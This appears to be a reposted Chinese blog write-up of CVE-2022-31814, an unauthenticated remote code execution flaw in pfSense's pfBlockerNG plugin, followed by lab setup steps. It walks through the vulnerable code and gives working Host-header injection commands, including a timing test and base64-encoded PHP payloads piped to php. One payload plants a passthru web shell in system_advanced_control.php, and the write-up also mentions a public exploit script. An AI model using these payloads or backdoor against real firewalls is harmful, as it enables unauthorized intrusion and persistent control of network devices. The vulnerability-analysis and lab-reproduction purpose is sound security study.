PfSense pfBlockerNG 未授權RCE漏洞(CVE-2022-31814)
概述
PfSense系統的插件pfBlockerNG引起的未授權RCE漏洞
pfSense是一個基于FreeBSD作業系統開發的防火墻和路由器軟體
FreeBSD 是一種類UNIX作業系統
pfBlockerNG是一個pfSense的插件(默認不安裝),提供了廣告、惡意內容和地理攔截功能,
版本
pfSense 2.6.0
pfBlockerNG<=2.1.4_26
漏洞代碼分析
位置/usr/local/www/pfblockerng/www/index.php有如下代碼:
// Query DNSBL(郵件黑名單) Alias for Domain List.
$query = str_replace('.', '\.', htmlspecialchars($_SERVER['HTTP_HOST']));
exec("/usr/bin/grep -l ' \"{$query} 60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);
$_SERVER['HTTP_HOST']是一個用戶可控的輸入,攻擊者通過host 頭來修改該引數
即/usr/bin/grep -l ' "[用戶可控] 60 IN A' /var/db/pfblockerng/dnsblalias/*
/usr/bin/grep
/usr/bin/grep '要匹配的字串' '檔案的路徑'
-l, --files-with-matches print only names of FILEs containing matches,列印僅包含匹配項字串的檔案名
用法如下圖:
拼接命令
驗證payload可行性
/usr/bin/grep -l ' \"' *; sleep 5 ;'60 IN A' /var/db/pfblockerng/dnsblalias/*
可見start response timer時間延遲了約5s
本地執行命令測驗如下圖

默認情況下,pfSense中沒有安裝“base64-d”二進制檔案,但python3.8安裝了,因此,我們能夠撰寫和解碼base64有效載荷,并將所有內容傳輸到php-cli二進制檔案中:
測驗的php代碼
<?php echo("HELL");?>
base64編碼
PD9waHAgZWNobygiSEVMTCIpPz4K
python解碼
python -m base64 -d
然后傳輸到php
| php
拼接起來的命令為:
/usr/bin/grep -l ' \"' *;echo 'PD9waHAgZWNobygiSEVMTCIpPz4K'|python3.8 -m base64 -d|php ;'60 IN A' /var/db/pfblockerng/dnsblalias/*
結果如圖,成功決議php代碼并輸出了HELL

構造后門
php代碼:
<?php $a=fopen("/usr/local/www/system_advanced_control.php","w") or die();$t='<?php print(passthru($_GET["c"]));?>';fwrite($a,$t);fclose($a);?>
passthru函式
php端
$path="python 腳本絕對路徑/腳本檔案名.py "; //注意:末尾要加一個空格,否則傳參失敗 $params = "要傳入python腳本的引數"; //傳遞給python腳本的入口引數 passthru($path.$params." ".$params2);python端
import sys params = sys.argv[1] #即為獲取到的PHP傳入python的介面引數通過以上即可實作php通過passthru函式來呼叫執行Python腳本
base64編碼
PD9waHAgJGE9Zm9wZW4oIi91c3IvbG9jYWwvd3d3L3N5c3RlbV9hZHZhbmNlZF9jb250cm9sLnBocCIsInciKSBvciBkaWUoKTskdD0nPD9waHAgcHJpbnQocGFzc3RocnUoICRfR0VUWyJjIl0pKTs/Pic7ZndyaXRlKCRhLCR0KTtmY2xvc2UoICRhKTs/Pgo=
拼接起來的命令為:
/usr/bin/grep -l ' \"' *;echo 'PD9waHAgJGE9Zm9wZW4oIi91c3IvbG9jYWwvd3d3L3N5c3RlbV9hZHZhbmNlZF9jb250cm9sLnBocCIsInciKSBvciBkaWUoKTskdD0nPD9waHAgcHJpbnQocGFzc3RocnUoICRfR0VUWyJjIl0pKTs/Pic7ZndyaXRlKCRhLCR0KTtmY2xvc2UoICRhKTs/Pgo='|python3.8 -m base64 -d|php ;'60 IN A' /var/db/pfblockerng/dnsblalias/*
成功注入

在網站上訪問該木馬檔案,成功getshell

最后拿ihteam的腳本跑一下,成功rce

漏洞環境搭建
新建虛擬機,選擇FreeBSD
配置如下,直接使用從官網下好的pfsense的iso檔案
打開然后默認enter
安裝好重啟后,選2配置LAN的ip,配好后如下圖:

然后瀏覽器直接輸入192.168.153.139即可訪問web界面
輸入默認賬戶admin/pfsense完成登錄

進入后選擇配置向導

配置網路
到第四步配置如下:

后面默認,然后成功上網

啟動SSH服務
系統-高級選項-管理員訪問-安全shell下
啟用安全ssh和允許代理轉發的啟用ssh-代理轉發支持,然后xshell連接對應ip地址,用戶是root即可連接
安裝python開發環境
[2.6.0-RELEASE][[email protected]]/etc/pkg: pkg search python
frr7-pythontools-7.5.1_3 Provide configuration reload functionality for FRR
py38-gitpython-3.1.24 Python Git Library
python38-3.8.12_1 Interpreted object-oriented programming langua
[2.6.0-RELEASE][[email protected]]/etc/pkg: pkg install python38-3.8.12_1

試了python,python3,python38都沒找到指令
最后進入/usr/local/bin目錄下查看,發現是python3.8,如下圖

配置pfBlockerNG插件
插件管理里搜索pfBlockerNG安裝,只找到3.2.0_3版本的,先裝上

github上找到2.1.4_26版本的pfBlockerNG插件
https://github.com/pfsense/FreeBSD-ports/tree/devel/net
https://github.com/pfsense/FreeBSD-ports/commit/b57e24307dd32679f55dd7e38dc29910168886a4

然后點進對應版本的freebsd-port下載

解壓zip包的net/pfsense-pkg-pfBlockerNG,找到pfBlockerNG的index.php檔案
ps:因為漏洞只出現在該檔案中,所以直接把2.1.4_26版本的index.php檔案下載下來上傳到防火墻系統里覆寫已安裝的3.2.0_3版本的index.php就行
在這個地方上傳檔案

成功上傳回傳路徑

然后打開命令列,使新上傳的index.php檔案直接覆寫3.2.0_3版本的
mv /tmp/index.php /usr/local/www/pfblockerng/www/index.php
參考鏈接
PfSense pfBlockerNG 未授權RCE漏洞(CVE-2022-31814)
PHP通過passthru()函式實作與python腳本的互動
payload:pfBlockerNG 2.1.4_26 - 遠程代碼執行 (RCE) - PHP 網路應用程式漏洞利用 (exploit-db.com)
開源防火墻pfSense的安裝及初始化
pfsense配置網路
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/548632.html
標籤:其他
上一篇:Unity中基于EPPLUS的Excel轉換以及Json資料讀取
下一篇:Perceptron, Support Vector Machine and Dual Optimization Problem (2)


